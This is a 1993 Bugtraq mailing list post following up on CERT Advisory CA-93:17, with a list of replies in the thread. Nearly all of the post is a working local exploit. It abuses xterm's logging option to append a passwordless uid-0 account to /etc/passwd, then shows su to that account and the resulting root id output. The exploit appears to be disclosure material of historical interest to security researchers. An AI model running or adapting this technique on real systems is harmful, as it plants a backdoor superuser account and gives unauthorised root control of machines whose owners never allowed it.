Bugtraq mailing list archives

CERT Advisory CA-93:17

From: shipley () merde dis org (Peter shipley)
Date: Tue, 16 Nov 1993 15:35:27 -0800


-----BEGIN PGP SIGNED MESSAGE-----



CERT Advisory CA-93:17 can be exploited with:

    % cat >! /tmp/fofo
    newroot::0:0:The New Superuser on the block:/:/bin/csh
    ^D

    % xterm -l -lf /etc/passwd -e cat /tmp/fofo
    % su newroot
    # whoami
    root
    # id
    uid=0(root) gid=0(wheel)




-----BEGIN PGP SIGNATURE-----
Version: 2.3a

iQBVAgUBLOljqXynuL1gkffFAQHi5QH7Be2n60igPaE6wKKAb2oR188YTuDqOLku
ltEBp7schLwVWi2YNfCP+CD1AKELvAzZ9jWzdsz+dvDW6ooMyU4bmg==
=hBaZ
-----END PGP SIGNATURE-----

Current thread:

CERT Advisory CA-93:17 Peter shipley (Nov 16)
- Re: CERT Advisory CA-93:17 bb () math ufl edu (Nov 16)
- Re: CERT Advisory CA-93:17 Niko.Makila () csc fi (Nov 17)
  - CERT Advisories wanted James M Buggar (Nov 17)
    - Re: CERT Advisories wanted Bryan Koch (Nov 17)
    - Re: CERT Advisories wanted Del Armstrong (Nov 17)
    - Re: CERT Advisories wanted John Hawkinson (Nov 17)
  - Re: CERT Advisory CA-93:17 Patrick Allen (Nov 17)
  - Re: CERT Advisory CA-93:17 Peter shipley (Nov 17)
    - Re: CERT Advisory CA-93:17 Niko.Makila () csc fi (Nov 18)
- xterm in usenet scott () santafe edu (Nov 17)

(Thread continues...)